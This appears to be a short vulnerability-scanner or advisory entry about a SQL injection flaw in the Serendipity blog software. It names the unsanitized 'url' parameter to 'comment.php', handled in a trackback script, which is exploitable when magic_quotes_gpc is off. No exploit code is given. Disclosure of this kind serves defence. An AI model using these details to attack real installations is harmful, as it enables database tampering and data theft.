The version of the Serendipity installed on the remote host is affected by a SQL injection vulnerability because the ‘include/functions_trackbacks.inc.php’ script does not properly sanitize user-supplied input passed via the ‘url’ parameter to the ‘comment.php’ script. Provided that PHP’s ‘magic_quotes_gpc’ setting is disabled, this may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.
